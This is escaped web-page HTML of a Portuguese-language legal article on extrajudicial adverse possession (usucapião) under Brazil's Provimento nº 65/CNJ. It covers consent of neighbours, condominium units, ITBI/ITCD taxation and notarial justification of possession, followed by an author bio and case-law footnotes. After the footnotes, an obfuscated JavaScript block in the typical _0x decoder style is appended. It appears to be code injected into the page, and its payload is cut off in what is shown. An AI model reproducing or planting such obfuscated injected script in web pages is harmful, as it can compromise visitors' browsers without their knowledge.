n&atilde;o ao tempo de possuidores anteriores, cujo nome, estado civil e qualifica&ccedil;&atilde;o que o requerente possui dever&atilde;o ser informados.<br \/>\n&nbsp;<br \/>\nf- <strong>quanto ao obst&aacute;culo para a transfer&ecirc;ncia da propriedade por escritura p&uacute;blica<\/strong>: o &oacute;bice &agrave; correta escritura&ccedil;&atilde;o das transa&ccedil;&otilde;es dever&aacute; ser justificado pelo requerente, devendo o requerente ser alertado de que a presta&ccedil;&atilde;o de declara&ccedil;&atilde;o falsa configurar&aacute; crime de falsidade, sujeito &agrave;s penas da lei.<br \/>\n&nbsp;<br \/>\n2.8) sobre a <strong><u>anu&ecirc;ncia expressa e sobre a sua dispensa:<\/u><\/strong><\/p>\n<p style=\"text-align:justify\">a) dever&aacute; ser apresentada ao Registrador de Im&oacute;veis a anu&ecirc;ncia expressa dos titulares dos direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo ou na matr&iacute;cula dos im&oacute;veis confinantes ou ocupantes a qualquer t&iacute;tulo, <strong>bem como de seus c&ocirc;njuges ou companheiros.<\/strong><\/p>\n<p>b) <strong>a anu&ecirc;ncia pode constar da planta ou se feita em documento aut&ocirc;nomo<\/strong>, que, se for particular, dever&aacute; conter reconhecimento de firma (art. 10, &sect; 7&ordm;): se a anu&ecirc;ncia for feita na pr&oacute;pria ata notarial, importante constar da ata que foi apresentada a planta do im&oacute;vel usucapiendo e que, ap&oacute;s an&aacute;lise da mesma, as referidas pessoas deram a sua anu&ecirc;ncia.<\/p>\n<p>c)&nbsp; a anu&ecirc;ncia, no caso de pessoas j&aacute; falecidas, poder&aacute; ser dada <strong><u>pelos herdeiros<\/u><\/strong>, desde que apresentem escritura p&uacute;blica declarat&oacute;ria de &uacute;nicos herdeiros com nomea&ccedil;&atilde;o do inventariante: <strong>essa reda&ccedil;&atilde;o ficou truncada, havendo inventariante, bastaria a assinatura dele, n&atilde;o sendo necess&aacute;ria a assinatura de todos os herdeiros. <\/strong><\/p>\n<p><strong>d) dispensa da anu&ecirc;ncia:<\/strong><\/p>\n<p>d.1) se o im&oacute;vel usucapiendo for matriculado com descri&ccedil;&atilde;o precisa e houver perfeita identidade entre a descri&ccedil;&atilde;o tabular e a &aacute;rea objeto do requerimento da usucapi&atilde;o extrajudicial, ser&aacute; dispensada a intima&ccedil;&atilde;o dos confrontantes do im&oacute;vel, devendo o registro da aquisi&ccedil;&atilde;o origin&aacute;ria ser realizado na matr&iacute;cula existente.<\/p>\n<p>d.2) se for apresentado pelo requerente justo t&iacute;tulo ou instrumento que demonstre a inexist&ecirc;ncia de rela&ccedil;&atilde;o jur&iacute;dica com o titular registral, acompanhado de prova da quita&ccedil;&atilde;o das obriga&ccedil;&otilde;es e de certid&atilde;o do distribuidor civil, expedida at&eacute; 30 dias antes do requerimento, que demonstre a inexist&ecirc;ncia de a&ccedil;&atilde;o judicial contra o requerente ou contra seus cession&aacute;rios envolvendo o im&oacute;vel usucapiendo.<\/p>\n<p>d.2.1) s&atilde;o exemplos de t&iacute;tulos ou instrumentos: compromisso de compra e venda; cess&atilde;o de direitos e promessa de cess&atilde;o; pr&eacute;-contrato; proposta de compra; reserva do lote ou qualquer instrumento no qual conste a vontade das partes, a indica&ccedil;&atilde;o da fra&ccedil;&atilde;o ideal, do lote ou unidade, pre&ccedil;o, modo de pagamento e promessa de contratar; procura&ccedil;&atilde;o p&uacute;blica com poderes de aliena&ccedil;&atilde;o para si ou para outrem, especificando o im&oacute;vel; escritura p&uacute;blica de cess&atilde;o de direitos heredit&aacute;rios, especificando o im&oacute;vel; documentos judiciais de partilha, arremata&ccedil;&atilde;o ou adjudica&ccedil;&atilde;o.<\/p>\n<p>d.2.2) a prova da quita&ccedil;&atilde;o ser&aacute; feita por declara&ccedil;&atilde;o escrita ou por recibo, com firma reconhecida,&nbsp; ou mediante a apresenta&ccedil;&atilde;o da quita&ccedil;&atilde;o da &uacute;ltima parcela do pre&ccedil;o.<br \/>\n&nbsp;<br \/>\n<strong>e) No caso de CONDOM&Iacute;NIO EDIL&Iacute;CIO<\/strong>:<\/p>\n<p>e.1) para o reconhecimento extrajudicial da usucapi&atilde;o de unidade aut&ocirc;noma integrante de condom&iacute;nio edil&iacute;cio <strong><u>regularmente constitu&iacute;do e com constru&ccedil;&atilde;o averbada,<\/u><\/strong> bastar&aacute; a ANU&Ecirc;NCIA do s&iacute;ndico do condom&iacute;nio: <strong>logo, dispensada anu&ecirc;ncia de confrontantes.<\/strong><br \/>\n&nbsp;<br \/>\ne.2) Na hip&oacute;tese de <strong><u>condom&iacute;nio constitu&iacute;do de fato<\/u><\/strong>, sem registro do ato de incorpora&ccedil;&atilde;o ou sem a averba&ccedil;&atilde;o de constru&ccedil;&atilde;o, ser&aacute; exigida a anu&ecirc;ncia d e todos os titulares de direito constantes da matr&iacute;cula.<br \/>\n&nbsp;<br \/>\n<strong>3) Sobre a tributa&ccedil;&atilde;o:<\/strong><br \/>\n&nbsp;<br \/>\n3.1) foi expressamente reconhecido que N&Atilde;O INCIDE ITBI no ato de usucapi&atilde;o. (art. 24).<\/p>\n<p>3.2) n&atilde;o foi esclarecido sobre a incid&ecirc;ncia ou n&atilde;o de ITCD, no caso de im&oacute;vel que foi recebido em virtude de sucess&atilde;o <em>causa mortis<\/em> ou doa&ccedil;&atilde;o, mas n&oacute;s entendemos que somente dever&aacute; incidir o referido imposto se o tempo de posse do falecido ou do doador tiver que ser acrescido &agrave; posse dos herdeiros ou donat&aacute;rios.<br \/>\n&nbsp;<br \/>\n4) <strong>Sobre a justifica&ccedil;&atilde;o de posse: <\/strong><br \/>\n&nbsp;<br \/>\n4.1) O Provimento n&ordm; 65\/CNJ esclareceu sobre a justifica&ccedil;&atilde;o que ser&aacute; feita perante o Oficial de Registro, conforme art. 17, &sect; 1&ordm;: <em>No caso de aus&ecirc;ncia ou insufici&ecirc;ncia dos documentos de que trata o inciso IV do caput do art. 216-A da LRP, a posse e os demais dados necess&aacute;rios poder&atilde;o ser comprovados em procedimento de justifica&ccedil;&atilde;o administrativa perante o oficial de registro do im&oacute;vel, que obedecer&aacute;, no que couber, ao disposto no &sect; 5&ordm; do art. 381 e ao rito previsto nos arts. 382 e 383, todos do CPC.<\/em><\/p>\n<p>4.2) O Provimento n&atilde;o tratou da escritura de justifica&ccedil;&atilde;o notarial de posse para fins de usucapi&atilde;o, mas ela &eacute; uma ferramenta muito importante para comprovar a posse e j&aacute; &eacute; amplamente utilizada em Portugal para tal fim. A escritura de justifica&ccedil;&atilde;o de posse <strong><u>pode ser usada em quaisquer casos, mesmo que j&aacute; existente o justo t&iacute;tulo ou outro documento que comprove a continuidade, a natureza e o tempo da posse<\/u><\/strong>. <strong>Est&aacute; na esfera da autonomia privada a solicita&ccedil;&atilde;o ao tabeli&atilde;o pelo interessado de lavratura de quaisquer atos<\/strong>.<\/p>\n<p><strong>&nbsp;&nbsp;&nbsp;&nbsp; <u>&Eacute; importante esclarecer aos interessados que esta escritura n&atilde;o &eacute; obrigat&oacute;ria, mas uma alternativa para acelerar, com seguran&ccedil;a jur&iacute;dica, o procedimento<\/u><\/strong>. Na escritura de justifica&ccedil;&atilde;o de posse &eacute; poss&iacute;vel j&aacute; fazer os requerimentos que devem constar na peti&ccedil;&atilde;o inicial do procedimento administrativo de usucapi&atilde;o, <strong>desde que o advogado tamb&eacute;m a assine<\/strong>, podendo tamb&eacute;m ser apresentados na mesma os documentos necess&aacute;rios ao referido procedimento.<br \/>\n&nbsp;<br \/>\n<strong><u>CONCLUS&Atilde;O<\/u><\/strong><\/p>\n<p style=\"text-align:justify\">&nbsp;&nbsp;&nbsp;&nbsp; Em conclus&atilde;o, o novo Provimento n&ordm; 65\/CNJ uniformizou nacionalmente a usucapi&atilde;o extrajudicial, atribuindo ao Tabeli&atilde;o e ao Oficial de Registro de Im&oacute;veis ferramentas para concretizar, por meio do registro, o direito de propriedade dos usucapientes, de forma c&eacute;lere e com seguran&ccedil;a jur&iacute;dica.<br \/>\nNo Provimento, a quest&atilde;o do ITBI foi esclarecida de forma clara e observando a Constitui&ccedil;&atilde;o, posto que a posse n&atilde;o &eacute; um direito real, n&atilde;o havendo que se falar em cobran&ccedil;a de ITBI para a cess&atilde;o de posse. Faltou esclarecer sobre o ITCD, no caso de im&oacute;vel que foi recebido em virtude de sucess&atilde;o <em>causa mortis<\/em> ou doa&ccedil;&atilde;o, mas, no nosso entendimento, somente dever&aacute; incidir o referido imposto se o tempo de posse do falecido ou do doador tiver que ser acrescido &agrave; posse dos herdeiros ou donat&aacute;rios.<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; O Provimento n&atilde;o tratou da escritura de justifica&ccedil;&atilde;o notarial de posse para fins de usucapi&atilde;o, mas ela &eacute; uma ferramenta muito importante para comprovar a posse e j&aacute; &eacute; amplamente utilizada em Portugal para tal fim.<\/p>\n<p><strong><em>** Let&iacute;cia Franco Maculan Assump&ccedil;&atilde;o &eacute; graduada em Direito pela Universidade Federal de Minas Gerais (1991), p&oacute;s-graduada e mestre em Direito P&uacute;blico. Foi Procuradora do Munic&iacute;pio de Belo Horizonte e Procuradora da Fazenda Nacional. Aprovada em concurso, desde 1&ordm; de agosto de 2007 &eacute; Oficial do Cart&oacute;rio do Registro Civil e Notas do Distrito de Barreiro, em Belo Horizonte, MG. &Eacute; professora e coordenadora da p&oacute;s-gradua&ccedil;&atilde;o em Direito Notarial e Registral do CEDIN &ndash; Centro de Direito e Neg&oacute;cios e autora de diversos artigos na &aacute;rea de Direito Tribut&aacute;rio, Direito Administrativo, Direito Civil e Direito Notarial, publicados em revistas jur&iacute;dicas. &Eacute; autora dos livros &ldquo;Fun&ccedil;&atilde;o Notarial e de Registro&rdquo; e &ldquo;Casamento e Div&oacute;rcio em Cart&oacute;rios Extrajudiciais do Brasil&rdquo;. &Eacute; Presidente do Col&eacute;gio do Registro Civil de Minas Gerais e Diretora do CNB\/MG. Recebeu o Pr&ecirc;mio Diamante de Qualidade da Anoreg.&nbsp;<\/em><\/strong><\/p>\n<hr \/>\n<div id=\"ftn1\">\n<h1 style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:arial,helvetica,sans-serif\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref1\" name=\"_ftn1\" title=\"\">[1]<\/a> Para aprofundamento, ver artigo de minha autoria A USUCAPI&Atilde;O EXTRAJUDICIAL AP&Oacute;S A LEI 13465\/2017 E A ESCRITURA DE JUSTIFICA&Ccedil;&Atilde;O NOTARIAL. Dispon&iacute;vel em <a href=\"http:\/\/www.notariado.org.br\">www.notariado.org.br<\/a>. Acesso em: 18 dez. 2017.<\/span><\/span><span style=\"font-size:12px\"><span style=\"font-family:arial,helvetica,sans-serif\"> <\/span><\/span><\/h1>\n<\/div>\n<div id=\"ftn2\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref2\" name=\"_ftn2\" title=\"\">[2]<\/a> Para aprofundamento, ver artigo <strong>A ATA NOTARIAL E A USUCAPI&Atilde;O EXTRAJUDICIAL &ndash; CONSIDERA&Ccedil;&Otilde;ES AMADURECIDAS<\/strong>, de minha autoria. Dispon&iacute;vel em: <a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=ODQwOQ\">http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=ODQwOQ<\/a>==. Acesso em: 08 out. 2017.<\/div>\n<div id=\"ftn3\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref3\" name=\"_ftn3\" title=\"\">[3]<\/a> Nos termos do art. 197, do CC, n&atilde;o corre a prescri&ccedil;&atilde;o: I &#8211; entre os c&ocirc;njuges, na const&acirc;ncia da sociedade conjugal; II &#8211; entre ascendentes e descendentes, durante o poder familiar; III &#8211; entre tutelados ou curatelados e seus tutores ou curadores, durante a tutela ou curatela.<br \/>\nArt. 198. Tamb&eacute;m n&atilde;o corre a prescri&ccedil;&atilde;o: I &#8211; contra os incapazes de que trata o art. 3<u><sup>o<\/sup><\/u>; II &#8211; contra os ausentes do Pa&iacute;s em servi&ccedil;o p&uacute;blico da Uni&atilde;o, dos Estados ou dos Munic&iacute;pios; III &#8211; contra os que se acharem servindo nas For&ccedil;as Armadas, em tempo de guerra.<br \/>\nArt. 199. N&atilde;o corre igualmente a prescri&ccedil;&atilde;o: I &#8211; pendendo condi&ccedil;&atilde;o suspensiva; II &#8211; n&atilde;o estando vencido o prazo; III &#8211; pendendo a&ccedil;&atilde;o de evic&ccedil;&atilde;o.<br \/>\n&nbsp;<\/div>\n<div id=\"ftn4\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref4\" name=\"_ftn4\" title=\"\">[4]<\/a> <a href=\"http:\/\/tj-mg.jusbrasil.com.br\/jurisprudencia\/118546311\/apelacao-civel-ac-10024096859640001-mg\">TJ-MG &#8211; Apela&ccedil;&atilde;o C&iacute;vel AC 10024096859640001 MG (TJ-MG)<\/a> &#8211;&nbsp; publica&ccedil;&atilde;o: 13\/12\/2013 &#8211; Ementa:&nbsp;[&#8230;] Em regra, os bens im&oacute;veis possu&iacute;dos em condom&iacute;nio n&atilde;o s&atilde;o suscet&iacute;veis de usucapi&atilde;o, porquanto a presun&ccedil;&atilde;o &eacute; a de que ocorre composse ou mesmo a&nbsp;posse&nbsp;direita por um dos cond&ocirc;minos mediante autoriza&ccedil;&atilde;o dos demais, sendo que a exce&ccedil;&atilde;o &agrave; regra se verifica quando o possuidor direto alega e comprova cabalmente a cessa&ccedil;&atilde;o da composse. N&atilde;o comprovada a cessa&ccedil;&atilde;o da&nbsp;posse&nbsp;em comum, e tampouco negando a parte que tinha perfeita ci&ecirc;ncia do condom&iacute;nio, torna-se incab&iacute;vel o reconhecimento da prescri&ccedil;&atilde;o aquisitiva sobre im&oacute;vel ante a&nbsp;aus&ecirc;ncia do exerc&iacute;cio de&nbsp;posse&nbsp;com&nbsp;animus&nbsp;domini.<br \/>\n&nbsp;<\/div>\n<div id=\"ftn5\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref5\" name=\"_ftn5\" title=\"\">[5]<\/a> Vide RESP 674.558, de sua relatoria, no qual ficou consignado que, &ldquo;n&atilde;o havendo registro de propriedade do im&oacute;vel, inexiste em favor do estado presun&ccedil;&atilde;o&nbsp;<em>iuris tantum<\/em>&nbsp;de que sejam terras devolutas, cabendo a este provar a titularidade p&uacute;blica do bem. Caso contr&aacute;rio, o terreno pode ser usucapido&rdquo;.<br \/>\n&nbsp;<\/div>\n<div id=\"ftn6\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref6\" name=\"_ftn6\" title=\"\">[6]<\/a> &ldquo;&Eacute; certo que a Constitui&ccedil;&atilde;o veda a aquisi&ccedil;&atilde;o de bens p&uacute;blicos por usucapi&atilde;o [&#8230;] Mas n&atilde;o menos certo &eacute; que n&atilde;o incide tal veda&ccedil;&atilde;o relativamente aos bens de propriedade de empresas p&uacute;blicas e sociedades de economia mista, embora integrando essas entidades a administra&ccedil;&atilde;o p&uacute;blica indireta. &Eacute; que a mesma Carta imp&otilde;e &agrave;s chamadas estatais o regime jur&iacute;dico pr&oacute;prio das empresas privadas, da&iacute; a inviabilidade de beneficiarem&shy;-se da previs&atilde;o invocada [&#8230;]. N&atilde;o h&aacute;, pois, fundamento para se considerar os bens da Caixa como p&uacute;blicas.&rdquo; (REsp 1502134 &ndash; Relator Ministro MARCO AUR&Eacute;LIO BELLIZZE &#8211; Data da Publica&ccedil;&atilde;o <u>30\/06\/2015<\/u>)<br \/>\n&nbsp;<\/div>\n<div id=\"ftn7\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref7\" name=\"_ftn7\" title=\"\">[7]<\/a> REsp 1.221.243\/PR, Rel. Ministro JO&Atilde;O OT&Aacute;VIO DE NORONHA, TERCEIRA TURMA, DJe 10\/3\/2014.<br \/>\n&nbsp;<\/div>\n<div id=\"ftn8\" style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref8\" name=\"_ftn8\" title=\"\">[8]<\/a> COUTO, Marcelo de Rezende Campos Marinho Couto. <strong>Usucapi&atilde;o como forma derivada de aquisi&ccedil;&atilde;o da propriedade imobili&aacute;ria<\/strong>. Belo Horizonte: D&rsquo;Pl&aacute;cido Editora, 2016, p. 133 a 146.<\/div>\n<p style=\"text-align:justify\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTA0NDQ=#_ftnref9\" name=\"_ftn9\" title=\"\">[9]<\/a> VER STJ &#8211; REsp 881.270: a transfer&ecirc;ncia a terceiro de ve&iacute;culo gravado como propriedade fiduci&aacute;ria, &agrave; revelia do propriet&aacute;rio (credor), <u>&eacute; ato de clandestinidade incapaz de motivar a posse:<\/u> imposs&iacute;vel a aquisi&ccedil;&atilde;o do bem por usucapi&atilde;o.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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